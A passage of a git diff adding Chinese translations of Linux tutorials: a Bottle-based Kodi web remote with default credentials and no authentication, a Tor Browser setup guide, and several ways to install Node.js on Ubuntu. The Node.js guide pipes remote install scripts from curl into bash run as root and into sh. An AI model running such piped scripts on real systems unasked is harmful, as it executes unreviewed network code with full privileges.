XBMC("http://192.168.0.5/jsonrpc", "xbmc", "xbmc") + @route('/hello/') + def index(name): + return template('

Hello {{name}}!

', name=name) + run(host="0.0.0.0", port=8000) + +这样程序将连接到 **Kodi**(不过实际上用不到);然后 Bottle 会开始提供网站服务。在我们的代码里,它将监听主机 0.0.0.0(意味着允许所有主机连接)的端口 8000。它只设定了一个站点,就是 /hello/XXXX,这里的 XXXX 可以是任何内容。不管 XXXX 是什么都将作为参数名传递给 index()。然后再替换进去 HTML 网页模版。 + +你可以先试着把上面内容写到一个文件(我们取的名字是 remote.py),然后用下面的命令启动: + + python remote.py + +然后你可以在浏览器里访问 localhost:8000/hello/world 看看模版生效的效果。 + +@route() 用来设定网页服务器的路径,而函数 index() 会返回该路径的数据。通常是返回由模版生成的 HTML 页面,但是并不是说只能这样(后面会看到)。 + +随后,我们将给应用添加更多页面入口,让它变成一个全功能的 Kodi 遥控,但仍将采用相同代码结构。 + +XBMC JSON API 接口可以从和 Kodi 机器同网段的任意电脑上访问。也就是说你可以在自己的笔记本上开发,然后再布置到媒体中心上,而不需要浪费时间上传每次改动。 + +模版 - 比如前面例子里的那个简单模版 - 是一种结合 Python 和 HTML 来控制输出的方式。理论上,这俩能做很多很多事,但是会非常混乱。我们将只是用它们来生成正确格式的数据。不过,在开始动手之前,我们先得准备点数据。 + +> **Paste** +> +> Bottle 自带网页服务器,我们用它来测试遥控程序。不过,我们发现它性能有时不够好。当我们的遥控程序正式上线时,我们希望页面能更快一点显示出来。Bottle 可以和很多不同的网页服务器配合工作,而我们发现 Paste 用起来非常不错。而要使用的话,只要简单地安装(Debian 系统里的 python-paste 包),然后修改一下代码里的 run 调用: +> +> run(host=hostname, port=hostport, server="paste") +> +> 你可以在 [http://bottlepy.org/docs/dev/deployment.html][1] 找到如何使用其他服务器的相关细节。 + +#### 从 Kodi 获取数据 #### + +XBMC JSON API 分成 14 个命名空间:JSONRPC, Player, Playlist, Files, AudioLibrary, VideoLibrary, Input, Application, System, Favourites, Profiles, Settings, Textures 和 XBMC。每个都可以通过 Python 的 XBMC 对象访问(Favourites 除外,明显是个疏忽)。每个命名空间都包含许多方法用于对程序的控制。例如,Playlist.GetItems() 可以用来获取某个特定播放列表的内容。服务器会返回给我们 JSON 格式的数据,但 xbmcjson 模块会为我们转化成 Python 词典。 + +我们需要用到 Kodi 里的两个组件来控制播放:播放器和播放列表。播放器处理播放列表并在每首歌结束时从列表里取下一首。为了查看当前正在播放的内容,我们需要获取正在工作的播放器的 ID,然后根据它找到当前播放列表的 ID。这个可以通过下面的代码来实现: + + def get_playlistid(): + player = xbmc.Player.GetActivePlayers() + if len(player['result']) > 0: + playlist_data = xbmc.Player.GetProperties({"playerid":0, "properties":["playlistid"]}) + if len(playlist_data['result']) > 0 and "playlistid" in playlist_data['result'].keys(): + return playlist_data['result']['playlistid'] + return -1 + +如果当前没有播放器在工作(就是说,返回数据的结果部分的长度是 0),或者当前播放器没有处理播放列表,这样的话函数会返回 -1。其他时候,它会返回当前播放列表的数字 ID。 + +当我们拿到当前播放列表的 ID 后,就可以获取该列表的细节内容。按照我们的需求,有两个重要的地方:播放列表里包含的项,以及当前播放所处的位置(已经播放过的项并不会从播放列表移除,只是移动当前播放位置)。 + + def get_playlist(): + playlistid = get_playlistid() + if playlistid >= 0: + data = xbmc.Playlist.GetItems({"playlistid":playlistid, "properties": ["title", "album", "artist", "file"]}) + position_data = xbmc.Player.GetProperties({"playerid":0, 'properties':["position"]}) + position = int(position_data['result']['position']) + return data['result']['items'][position:], position + return [], -1 + +这样可以返回正在播放的项开始的列表(因为我们并不关心已经播放过的内容),而且也包含了用来从列表里移除项的位置信息。 + +![Image](http://www.linuxvoice.com/wp-content/uploads/2015/04/xbmc2-large.jpg) + +API 文档在这里:[http://wiki.xbmc.org/?title=JSON-RPC_API/v6][2]。它列出了所有支持的函数,但是关于具体如何使用的描述有点太简单了。 + +> **JSON** +> +> JSON 是 JavaScript Object Notation 的缩写,最初设计用于 JavaScript 对象的序列化。目前仍然起到这个作用,但是它也是用来编码任意数据的一种很好用的方式。 +> +> JSON 对象都是这样的格式: +> +> {property1:value1, property2:value2, property3:value3} +> +> 支持任意数目的属性/值配对。对 Python 程序员来说,看上去和字典数据结构很相似,不过这两个确实很像。 +> +> 在字典数据结构里,值本身可以是另一个 JSON 对象,或者一个列表,所以下面的格式也是正确的: +> +> {"name":"Ben", "jobs":["cook", "bottle-washer"], "appearance": {"height":195, "skin":"fair"}} +> +> JSON 通常在网络服务中用来发送和接收数据,并且大多数编程语言都能很好地支持,所以如果你熟悉 Python 的话,你应该可以使用你熟悉的编程语言调用相同的接口来轻松地控制 Kodi。 + +#### 整合到一起 #### + +把之前的功能连接到 HTML 页面很简单: + + @route('/juke') + def index(): + current_playlist, position = get_playlist() + return template('list', playlist=current_playlist, offset = position) + +只需要抓取播放列表(调用我们之前定义的函数),然后将结果传递给负责显示的模版。 + +负责显示列表数据的模版的主要部分是: + +

Currently Playing:

+ % if playlist is not None: + % position = offset + % for song in playlist: + {{song['title']}} + % if song['type'] == 'unknown': + Radio + % else: + {{song['artist'][0]}} + % end + % if position != offset: + remove + % else: + skip + % end +
+ % position += 1 + % end + +可以看到,模版大部分是用 HTML 写的,只有一小部分用来控制输出的其他代码。用两个大括号括起来的变量是输出位置(像我们在第一个 'hello world' 例子里看到的)。你也可以嵌入以百分号开头的 Python 代码。因为没有缩进,你需要用一个 `% end` 来结束当前的代码块(就像循环或 if 语句)。 + +这个模版首先检查列表是否为空,然后遍历里面的每一项。每一项会用粗体显示歌曲名字,然后是艺术家名字,然后是一个是否跳过(如果是当前正在播的歌曲)或从列表移除的链接。所有歌曲的类型都是 'song',如果类型是 'unknown',那就不是歌曲而是网络电台。 + +/remove/ 和 /skip/ 路径只是简单地封装了 XBMC 控制功能,在改动生效后重新加载 /juke: + + @route('/skip/') + def index(position): + print xbmc.Player.GoTo({'playerid':0, 'to':'next'}) + redirect("/juke") + @route('/remove/') + def index(position): + playlistid = get_playlistid() + if playlistid >= 0: + xbmc.Playlist.Remove({'playlistid':int(playlistid), 'position':int(position)}) + redirect("/juke") + +当然,如果不能往列表里添加歌曲的话那这个列表管理功能也不行。 + +因为一旦播放列表结束,它就消失了,所以你需要重新创建一个,这会让事情复杂一些。而且有点让人迷惑的是,播放列表是通过调用 Playlist.Clear() 方法来创建的。这个方法也还用来删除包含网络电台(类型是 unknown)的播放列表。另一个麻烦的地方是列表里的网络电台开始播放后就不会停,所以如果当前在播网络电台,也会需要清除播放列表。 + +这些页面包含了指向 /play/\ 的链接来播放歌曲。通过下面的代码处理: + + @route('/play/') + def index(id): + playlistid = get_playlistid() + playlist, not_needed= get_playlist() + if playlistid < 0 or playlist[0]['type'] == 'unknown': + xbmc.Playlist.Clear({"playlistid":0}) + xbmc.Playlist.Add({"playlistid":0, "item":{"songid":int(id)}}) + xbmc.Player.open({"item":{"playlistid":0}}) + playlistid = 0 + else: + xbmc.Playlist.Add({"playlistid":playlistid, "item":{"songid":int(id)}}) + remove_duplicates(playlistid) + redirect("/juke") + +最后一件事情是实现 remove_duplicates 调用。这并不是必须的 - 而且还有人并不喜欢这个 - 不过可以保证同一首歌不会多次出现在播放列表里。 + +我们也实现了一些页面用来列出收藏歌曲里所有艺术家,以及列出指定艺术家的歌曲和专辑。这些都非常简单,和 /juke 页面基本类似。 + +![Image](http://www.linuxvoice.com/wp-content/uploads/2015/04/xbmc1-large.jpg) + +还需要处理一下 UI,不过功能已经有了。 + +> **日志** +> +> 通常拿到 XBMC JSON API 并不清楚能用来做什么,而且它的文档也有点模糊。找出如何使用的一种方式是看别的遥控程序是怎么做的。如果打开日志功能,就可以在使用其他遥控程序的时候看到哪个 API 被调用了,然后就可以应用到在自己的代码里。 +> +> 要打开日志功能,把 Kodi 媒体中心 接到显示器上,再依次进入设置 > 系统 > 调试,打开允许调试日志。在打开日志功能后,还需要登录到 Kodi 机器上(比如通过 SSH),然后就可以查看日志了。日志文件的位置应该显示在 Kodi 界面左上角。在 RaspBMC 系统里,文件位置是 /home/pi/.xbmc/temp/xbmc.log。你可以通过下面的命令实时监视哪个 API 接口被调用了: +> +> cd /home/pi/.xbmc/temp +> tail -f xbmc.log | grep "JSON" + +#### 增加功能 #### + +上面的代码都是用来播放 Kodi 媒体库里的歌曲的,但我们还希望能播放网络电台。每个插件都有自己的独立 URL 可以通过普通的 XBMC JSON 命令来获取信息。举个例子,要从电台插件里获取选中的电台,可以使用; + + @route('/radio/') + def index(): + my_stations = xbmc.Files.GetDirectory({"directory":"plugin://plugin.audio.radio_de/stations/my/", "properties": + ["title","thumbnail","playcount","artist","album","episode","season","showtitle"]}) + if 'result' in my_stations.keys(): + return template('radio', stations=my_stations['result']['files']) + else: + return template('error', error='radio') + +这样可以返回一个可以和歌曲一样能添加到播放列表的文件。不过,这些文件能一直播下去,所以(之前说过)在添加其他歌曲的时候需要重新创建列表。 + +#### 共享歌曲 #### + +除了伺服页面模版,Bottle 还支持静态文件,方便用于那些不会因为用户输入而改变的内容。可以是 CSS 文件,一张图片或是一首 MP3 歌曲。在我们的简单遥控程序里(目前)还没有任何用来美化的 CSS 或图片,不过我们增加了一个下载歌曲的途径。这个可以让媒体中心变成一个存放歌曲的 NAS 盒子。在需要传输大量数据的时候,最好还是用类似 Samba 的功能,但只是下几首歌到手机上的话使用静态文件也是很好的方式。 + +通过歌曲 ID 来下载的 Bottle 代码: + + @route('/download/') + def index(id): + data = xbmc.AudioLibrary.GetSongDetails({"songid":int(id), "properties":["file"]}) + full_filename = data['result']['songdetails']['file'] + path, filename = os.path.split(full_filename) + return static_file(filename, root=path, download=True) + +应用的时候,只需要为 /songsby/ 页面里的相应 ID 加个链接。 + +我们已经把所有的代码过了一遍,不过还需要一点工作来把它们集合到一起。可以自己去 GitHub 页面 [https://github.com/ben-ev/xbmc-remote][3] 看下。 + +> **设置** +> +> 我们的遥控程序已经开发完成,还需要保证让它在媒体中心每次开机的时候都能启动。有几种方式,最简单的是在 /etc/rc.local 里增加一行命令来启动。我们的文件位置在 /opt/xbmc-remote/remote.py,其他文件也和它一起。然后在 /etc/rc.local 最后的 exit 0 之前增加了下面一行。 +> +> cd /opt/xbmc-remote && python remote.py & + +> **GitHub** +> +> 这个项目目前还只是个架子,但是 - 我们运营杂志就意味着没有太多自由时间来编程。不过,我们启动了一个 GitHub 项目,希望能持续完善, 而如果你觉得这个项目有用的话,欢迎做出贡献。 +> +> 要查看最新的进展,请访问 [https://github.com/ben-ev/xbmc-remote][4] 看看所处的状态。你可以从页面里获取最新的代码,或者通过命令行复制。 +> +> 如果你希望改善它,可以复制项目到你自己的分支开发,然后在功能完成后发起合并请求。关于如何使用 GitHub 的更多信息,请访问 [https://github.com/features][5]。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/xbmc-build-a-remote-control/ + +作者:[Ben Everard][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxvoice.com/author/ben_everard/ +[1]:http://bottlepy.org/docs/dev/deployment.html +[2]:http://wiki.xbmc.org/?title=JSON-RPC_API/v6 +[3]:https://github.com/ben-ev/xbmc-remote +[4]:https://github.com/ben-ev/xbmc-remote +[5]:https://github.com/features diff --git a/published/201507/20150617 Tor Browser--An Ultimate Web Browser for Anonymous Web Browsing in Linux.md b/published/201507/20150617 Tor Browser--An Ultimate Web Browser for Anonymous Web Browsing in Linux.md new file mode 100644 index 0000000000..6df604eac1 --- /dev/null +++ b/published/201507/20150617 Tor Browser--An Ultimate Web Browser for Anonymous Web Browsing in Linux.md @@ -0,0 +1,215 @@ +Tor浏览器:Linux下用于匿名Web浏览的终极浏览器 +================================================================================ +我们大多数人都在上网方面花费很多时间。上网使用的应用程序主要是浏览器,更确切的说是一个Web浏览器。我们在网络上的大部分活动要以客户端/服务器的方式登录,这个过程会包括IP地址、地理信息、搜索、活动以及许多潜在的信息,这些信息如果以其他方式被故意使用,会存在潜在的危险性。 + +![在Linux中安装Tor浏览器](http://www.tecmint.com/wp-content/uploads/2014/04/Install-tor-browser-in-linux.jpg) + +*Tor浏览器:匿名浏览器* + +此外,美国国家安全局(NSA)这样的国际间谍机构会记录我们的数字足迹。更不必说受到控制的代理服务器也会被用来做为数据搜集服务器。并且大多数企业和公司不会允许您访问代理服务器(使您能保障自己的隐私)。 + +因此,我们需要的最好是一个小型、独立、可携带的应用程序,它能达到匿名的效果。Tor浏览器便是这样的一个应用,它拥有上面提到的所有功能,甚至不止于此。 + +这篇文章里我们会讨论Tor浏览器,它的功能、使用方式、领域、安装以及其他关于Tor浏览器的重要方面。 + +### 什么是Tor浏览器? ### + +Tor是一个自由分发的应用软件,以BSD许可证发布,通过其安全可靠的洋葱式的结构,允许用户匿名的进行网络浏览。从前,由于它的结构和运作机制,Tor被称为‘洋葱路由器’。这个应用是由C语言写成的。 + +#### Tor浏览器的功能 #### + +- 跨平台可用。例如,这个应用程序在Linux、Windows和Mac下都可用。 +- 在发送数据到因特网前进行复杂的数据加密。 +- 在客户端进行数据自动解密。 +- 它是火狐浏览器和Tor工程的结合。 +- 对服务器和网站提供匿名性。 +- 可以访问被限制的网站。 +- 无需暴露源IP便可以执行任务。 +- 可以将数据路由至/从防火墙后隐藏的服务和应用程序。 +- 便携性 - 可以直接从USB存储棒上运行一个预配置的web浏览器。无需本地安装。 +- 在x86和x86_64平台均可用 +- 可以配置为一个运行在“localhost”的“9050”端口上的“socks4a”代理来让FTP跑在Tor 上。 +- Tor拥有处理上千的中继和上百万用户的能力。 + +#### Tor浏览器如何工作? #### + +Tor的工作方式基于洋葱路由的概念。洋葱路由的结构类似洋葱,它的每一层都嵌套在另一层里面,就像洋葱一样。这种嵌套的结构负责多次加密数据并将其通过虚拟电路进行发送。在客户端一侧每一层都在将他传递到下一层之前解密数据。最后一层在将原始数据传递到目的地前解密最里面一层的加密数据。 + +在这个过程里,这种解密整个层的功能设计的如此高明以至于无法追踪IP以及用户的地理位置,因此可以限制任何人观察您访问站点的网络连接。 + +所有这些过程看起来有些复杂,但用户使用Tor浏览器时没有必要担心。实际上,Tor浏览器的功能像其他浏览器一样(尤其是Mozilla的Firefox)。 + +### 在Linux中安装Tor浏览器 ### + +就像上面讨论的一样,Tor浏览器在Linux和Windows以及Mac下都可用。用户需要根据系统和架构的不同在下面的链接处下载最新的版本(例如,Tor浏览器4.0.4)。 + +- [https://www.torproject.org/download/download-easy.html.en][1] + +在下载Tor浏览器后,按说我们需要安装它,但是Tor的好处是我们不需要安装它。它能直接从随身设备中运行,并且该浏览器可以被预配置。这意味着插件和运行的特性可以完美的移植。 + +下载打包文件(*.tar.xz)后我们需要解压它。 + +**32位系统** + + $ wget https://www.torproject.org/dist/torbrowser/4.0.4/tor-browser-linux32-4.0.4_en-US.tar.xz + $ tar xpvf tor-browser-linux32-4.0.4_en-US.tar.xz + +**64位系统** + + $ wget https://www.torproject.org/dist/torbrowser/4.0.4/tor-browser-linux64-4.0.4_en-US.tar.xz + $ tar -xpvf tor-browser-linux64-4.0.4_en-US.tar.xz + +**注意** : 在上面的命令中,我们使用‘$‘意味着这个压缩包应以普通用户而不是root用户来解压。我们强烈建议您不要以root用户解压和运行Tor浏览器。 + +###开始使用Tor浏览器### + +在成功的解压后,我们便可以将解压后的浏览器移动到任何地方/USB存储设备中。并从解压的文件夹以非root用户直接运行‘start-tor-browser’。 + + $ cd tor-browser_en-US + $ ./start-tor-browser + +![开始使用Tor浏览器](http://www.tecmint.com/wp-content/uploads/2014/04/Starting-Tor-Network.jpg) + +*开始使用Tor浏览器* + +####1. 尝试连接到Tor网络#### + +点击“连接”之后Tor将按照设置帮您做剩下的事情。** + +![连接到Tor网络](http://www.tecmint.com/wp-content/uploads/2014/04/Tor-Network-Settings.jpg) + +*连接到Tor网络* + +####2. 欢迎窗口/标签。#### + +![Tor欢迎界面](http://www.tecmint.com/wp-content/uploads/2014/04/Tor-Welcome-Screen.png) + +*Tor欢迎界面* + +**3. 用Tor浏览器在Youtube上看视频** + +![在Youtube上看视频](http://www.tecmint.com/wp-content/uploads/2014/04/Watching-Video-on-Youtube.jpg) + +*在Youtube上看视频* + +####4. 打开银行网址以进行在线购物和交易#### + +![浏览银行站点](http://www.tecmint.com/wp-content/uploads/2014/04/Browsing-Site.jpg) + +*浏览银行站点* + +####5. 浏览器显示我当前的代理IP#### + +注意其中的文字为“Proxy Server detected”。** + +![检查IP地址](http://www.tecmint.com/wp-content/uploads/2014/04/Checking-IP-Address.jpg) + +*检查IP地址* + +**注意**: 每次您想运行Tor时,您需要在文本模式上运行Tor启动脚本。并且该终端在您运行Tor时会一直被占用。如何克服这些,并创建一个桌面/Dock栏图标呢? + +####6. 我们需要在解压的文件夹中创建`tor.desktop`#### + +$ touch tor.desktop + +接着使用您喜欢的编辑器编辑这个文件,加入下面的文本,这里我使用nano。 + + $ nano tor.desktop + +---------- + + #!/usr/bin/env xdg-open + [Desktop Entry] + Encoding=UTF-8 + Name=Tor + Comment=Anonymous Browse + Type=Application + Terminal=false + Exec=/home/avi/Downloads/tor-browser_en-US/start-tor-browser + Icon=/home/avi/Downloads/tor-browser_en-US/Browser/browser/icons/mozicon128.png + StartupNotify=true + Categories=Network;WebBrowser; + +**注意**: 确保将上面的tor浏览器的路径替换为您的环境中的路径。 + +####7. 一旦搞定后,您就可以双击`tor.desktop`文件来运行Tor浏览器了#### + +您可能需要在第一次运行时信任该文件。 + +![Tor应用启动器](http://www.tecmint.com/wp-content/uploads/2014/04/Tor-Application-Launcher.jpg) + +*Tor应用启动器* + +####8. 一旦您选择了信任,请注意`tor.desktop`文件的图标则会改变### + +![Tor图标已改变](http://www.tecmint.com/wp-content/uploads/2014/04/Tor-icon-changed.jpg) + +*Tor图标已改变* + +####9. 您可以通过拖拽`tor.desktop`的图标在桌面和Dock栏中创建快捷方式#### + +![在桌面添加Tor快捷方式](http://www.tecmint.com/wp-content/uploads/2014/04/Add-Tor-Shortcut-on-Desktop.jpg) + +*在桌面添加Tor快捷方式* + +####10. 关于Tor浏览器#### + +![关于Tor浏览器](http://www.tecmint.com/wp-content/uploads/2014/04/About-Tor-Browser.jpg) + +*关于Tor浏览器* + +**注意**: 如果您在使用旧版本的Tor,您可以从上面的窗口更新它。 + +#### 应用的可用性和领域 #### + +- 匿名使用网络。 +- 浏览被封锁的页面。 +- 连接其他应用,即(FTP)来保证网络安全的访问。 + +#### 关于Tor浏览器的争论 #### + +- 在Tor应用的边界上并没有什么安全措施。比如,数据入口点和出口点。 +- 一项2011年的研究发现一种特殊的针对Tor浏览器的攻击可以得到BitTorrent用户的IP地址。 +- 在一些研究中发现某些特定的协议有泄漏IP地址的倾向。 +- 早些的Tor版本绑定了旧版本的Firefox浏览器,这被证明较易受JavaScript攻击。 +- Tor浏览器运行起来比较慢。 + +#### 真实世界中Tor浏览器的实现 #### + +- [Vuze BitTorrent Client][3] +- Anonymous Os +- Os’es from Scratch +- whonix 等 + +#### Tor浏览器的未来 #### + +Tor浏览器是前途无量的。也许第一个该类应用程序的实现是非常出色的,但Tor浏览器必须加大对支持、伸缩性、以及对近期的攻击进行数据安全的研究的投入。这个应用程序是未来的需要。 + +#### 下载免费的电子书 #### + +非官方的Tor私密浏览指南: + +[![](http://img.tradepub.com/free/w_make129/images/w_make129c4.gif)][2] + +### 结论 ### + +如果您工作的部门不允许您访问某网站,或者如果您不希望别人知道您的私人事务,或您不想向NSA提供您的个人数字足迹,那么Tor浏览器在目前是必须的。 + +**注意**: Tor浏览器提供的安全性不能抵御病毒、木马或其他类似这样的安全威胁。写这篇文章的目的也不是希望通过在互联网上隐藏我们的身份来放纵非法活动。这篇文章纯粹是为了教学的目的,作者和Tecmint均不会为任何非法的使用负责。这是用户自己的责任。 + +Tor浏览器是一个非常不错的应用,您值得尝试!这就是我要说的全部了,我还会在这里写一些您感兴趣的文章,所以请继续关注。别忘了在留言区提供给我们您有价值的反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/tor-browser-for-anonymous-web-browsing/ + +作者:[Avishek Kumar][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://www.torproject.org/download/download-easy.html.en +[2]:http://tecmint.tradepub.com/free/w_make129/prgm.cgi +[3]:http://www.tecmint.com/install-vuze-torrent-client-in-linux/ \ No newline at end of file diff --git a/published/201507/20150618 How to Setup Node.JS on Ubuntu 15.04 with Different Methods.md b/published/201507/20150618 How to Setup Node.JS on Ubuntu 15.04 with Different Methods.md new file mode 100644 index 0000000000..e9de420c7d --- /dev/null +++ b/published/201507/20150618 How to Setup Node.JS on Ubuntu 15.04 with Different Methods.md @@ -0,0 +1,263 @@ +在Ubuntu下安装Node.JS的不同方式 +================================================================================ + +如果你要在Ubuntu 15.04上安装Node.js的话,这篇教程对你来说肯定很重要。Node.js从本质上来说就是一个运行在服务端上的封装好了输入输出流的javascript程序。Node.js巧妙的使用单线程的事件循环来处理高吞吐量和非阻塞IO。同时它也是一个提供了通过操作系统读写文件和网络操作功能的平台层。所以这篇文章将展示在Ubuntu 15.04 server上不同的安装Node.Js的方式。 + +### 安装Node.JS 的方法### + +有许多安装Node.JS的不同的方法,我们可以选择其一。通过本篇文章我们将手把手带着你在Ubuntu 15.04上安装Node.Js,在此之前请卸载旧版本的包以免发生包冲突。 + +- 从源代码安装Node.JS +- 用包管理器安装Node.JS +- 从Github远程库安装Node.JS +- 用NVM安装Node.JS + +### 1) 从源代码安装Node.JS ### + +让我们开始从源代码安装Node.JS之前,请确认系统上的所有的依赖包都已经更新到最新版本。然后跟着以下步骤来开始安装: + +#### 步骤1: 升级系统 #### + +用以下命令来升级系统,并且安装一些Node.JS必要的包。 + + root@ubuntu-15:~# apt-get update + + root@ubuntu-15:~# apt-get install python gcc make g++ + +#### 步骤2: 获取Node.JS的源代码 #### + +安装好依赖包之后我们可以从官方网站上下载Node.JS的源代码。下载以及解压的命令如下: + + root@ubuntu-15:~# wget http://nodejs.org/dist/v0.12.4/node-v0.12.4.tar.gz + root@ubuntu-15:~# tar zxvf node-v0.12.4.tar.gz + +#### 步骤3: 开始安装 #### + +现在我们进入源代码的目录,然后运行.configure文件 + +![NodeJS Configure](http://blog.linoxide.com/wp-content/uploads/2015/06/13.png) + + root@ubuntu-15:~# ls + node-v0.12.4 node-v0.12.4.tar.gz + root@ubuntu-15:~# cd node-v0.12.4/ + root@ubuntu-15:~/node-v0.12.4# ./configure + root@ubuntu-15:~/node-v0.12.4# make install + +#### 安装后测试 #### + +只要运行一下上面的命令就顺利安装好了Node.JS,现在我们来确认一下版本信息和测试以下Node.JS是否可以运行输出。 + + root@ubuntu-15:~/node-v0.12.4# node -v + v0.12.4 + +![Node.Js Test](http://blog.linoxide.com/wp-content/uploads/2015/06/21.png) + +创建一个以.js为扩展名的文件然后用Node的命令运行 + + root@ubuntu-15:~/node-v0.12.4# touch helo_test.js + root@ubuntu-15:~/node-v0.12.4# vim helo_test.js + console.log('Hello World'); + +现在我们用Node的命令运行文件 + + root@ubuntu-15:~/node-v0.12.4# node helo_test.js + Hello World + +输出的结果证明我们已经成功的在Ubuntu 15.04安装好了Node.JS,同时我们也能运行JavaScript文件。 + +### 2) 利用包管理器安装Node.JS ### + +在Ubuntu下用包管理器安装Node.JS是非常简单的,只要增加NodeSource的个人软件包档案(PPA)即可。 + +我们将下面通过PPA安装Node.JS + +#### 步骤1: 用curl获取源代码 #### + +在我们用curl获取源代码之前,我们必须先升级操作系统,然后用curl命令获取NodeSource添加到本地仓库。 + + root@ubuntu-15:~#apt-get update + root@ubuntu-15:~# curl -sL https://deb.nodesource.com/setup | sudo bash - + +curl将运行以下任务 + + ## Installing the NodeSource Node.js 0.10 repo... + ## Populating apt-get cache... + ## Confirming "vivid" is supported... + ## Adding the NodeSource signing key to your keyring... + ## Creating apt sources list file for the NodeSource Node.js 0.10 repo... + ## Running `apt-get update` for you... + Fetched 6,411 B in 5s (1,077 B/s) + Reading package lists... Done + ## Run `apt-get install nodejs` (as root) to install Node.js 0.10 and npm + +#### 步骤2: 安装NodeJS和NPM #### + +运行以上命令之后如果输出如上所示,我们可以用apt-get命令来安装NodeJS和NPM包。 + + root@ubuntu-15:~# apt-get install nodejs + +![NodeJS Install](http://blog.linoxide.com/wp-content/uploads/2015/06/31.png) + +#### 步骤3: 安装一些必备的工具 #### + +通过以下命令来安装编译安装一些我们必需的本地插件。 + + root@ubuntu-15:~# apt-get install -y build-essential + +#### 通过Node.JS Shell来测试 #### + +测试Node.JS的步骤与之前使用源代码安装相似,通过以下node命令来确认Node.JS是否完全安装好: + + root@ubuntu-15:~# node + > console.log('Node.js Installed Using Package Manager'); + Node.js Installed Using Package Manager + +---------- + + root@ubuntu-15:~# node + > a = [1,2,3,4,5] + [ 1, 2, 3, 4, 5 ] + > typeof a + 'object' + > 5 + 2 + 7 + > + (^C again to quit) + > + root@ubuntu-15:~# + +#### 使用NodeJS应用进行简单的测试 #### + +REPL是一个Node.js的shell,任何有效的JavaScript代码都能在REPL下运行通过。所以让我们看看在Node.JS下的REPL是什么样子吧。 + + root@ubuntu-15:~# node + > var repl = require("repl"); + undefined + > repl.start("> "); + + Press Enter and it will show out put like this: + > { domain: null, + _events: {}, + _maxListeners: 10, + useGlobal: false, + ignoreUndefined: false, + eval: [Function], + inputStream: + { _connecting: false, + _handle: + { fd: 0, + writeQueueSize: 0, + owner: [Circular], + onread: [Function: onread], + reading: true }, + _readableState: + { highWaterMark: 0, + buffer: [], + length: 0, + pipes: null, + ... + ... + +以下是可以在REPL下使用的命令列表 + +![REPL Manual](http://blog.linoxide.com/wp-content/uploads/2015/06/4.png) + +#### 使用NodeJS的包管理器 #### + +NPM是一个提供给node脚本持续生命力的命令行工具,它能通过package.json来安装和管理依赖包。最开始从初始化命令init开始 + + root@ubuntu-15:~# npm init + +![NPM starting](http://blog.linoxide.com/wp-content/uploads/2015/06/51.png) + +### 3) 从Github远程库安装Node.JS ### + +在这个方法中我们需要一些步骤来把Node.JS从Github的远程的仓库克隆到本地仓库目录 + +在开始克隆(clone)包到本地并且配制之前,我们要先安装以下依赖包 + + root@ubuntu-15:~# apt-get install g++ curl make libssl-dev apache2-utils git-core + +现在我们开始用git命令克隆到本地并且转到配制目录 + + root@ubuntu-15:~# git clone git://github.com/ry/node.git + root@ubuntu-15:~# cd node/ + +![Git Clone NodeJS](http://blog.linoxide.com/wp-content/uploads/2015/06/61.png) + +clone仓库之后,通过运行.config命令来编译生成完整的安装包。 + + root@ubuntu-15:~# ./configure + +![Configure Node](http://blog.linoxide.com/wp-content/uploads/2015/06/7.png) + +运行make install命令之后耐心等待几分钟,程序将会安装好Node.JS。 + + root@ubuntu-15:~/node# make install + + root@ubuntu-15:~/node# node -v + v0.13.0-pre + +#### 测试Node.JS #### + + root@ubuntu-15:~/node# node + > a = [1,2,3,4,5,6,7] + [ 1, 2, 3, 4, 5, 6, 7 ] + > typeof a + 'object' + > 6 + 5 + 11 + > + (^C again to quit) + > + root@ubuntu-15:~/node# + +### 4) 通过NVM安装Node.JS ### + +在最后一种方法中我们我们将用NVM来比较容易安装Node.JS。安装和配制Node.JS,这是最好的方法之一,它可以供我们选择要安装的版本。 + +在安装之前,请确认本机以前的安装包已经被卸载。 + +#### 步骤1: 安装依赖包 #### + +首先升级Ubuntu Server系统,然后安装以下安装Node.JS和使用NVM所要依赖的包。用curl命令从git上下载NVM到本地仓库: + + root@ubuntu-15:~# apt-get install build-essential libssl-dev + root@ubuntu-15:~# curl https://raw.githubusercontent.com/creationix/nvm/v0.16.1/install.sh | sh + +![NVM Curl](http://blog.linoxide.com/wp-content/uploads/2015/06/81.png) + +#### 步骤2: 修改Home环境 #### + +用curl从NVM下载必需的包到用户的home目录之后,我们需要修改bash的配置文件添加NVM,之后只要重新登录中断或者用如下命令更新即可。 + + root@ubuntu-15:~# source ~/.profile + +现在我们可以用NVM来设置默认的NVM的版本,或者用如下命令来指定之前版本: + + root@ubuntu-15:~# nvm ls + root@ubuntu-15:~# nvm alias default 0.12.4 + +![NVM Default](http://blog.linoxide.com/wp-content/uploads/2015/06/91.png) + +#### 步骤3: 使用NVM #### + +我们已经通过NVM成功的安装了Node.JS,所以我们现在可以使用各种有用的命令。 + +![NVM Manual](http://blog.linoxide.com/wp-content/uploads/2015/06/101.png) + +### 总结 ### + +现在我们已经准备好了在服务端安装Node.JS,你可以从我们说的四种方式中选择最合适你的方式在最新的Ubuntu 15.04上来安装Node.JS,安装好之后你就可以利用Node.JS来编写你的代码。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/setup-node-js-ubuntu-15-04-different-methods/ + +作者:[Kashif Siddique][a] +译者:[NearTan](https://github.com/NearTan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/kashifs/ \ No newline at end of file diff --git a/published/201507/20150618 What will be the future of Linux without Linus.md b/published/201507/20150618 What will be the future of Linux without Linus.md new file mode 100644 index 0000000000..ff30e8b4cf --- /dev/null +++ b/published/201507/20150618 What will be the future of Linux without Linus.md @@ -0,0 +1,186 @@ +没有 Linus,Linux 的未来是什么样子? +============================================================================== +![](http://i2.wp.com/www.linuxveda.com/wp-content/uploads/2015/06/linus-torvalds-painting.jpg) + +这次采访是《Linux For 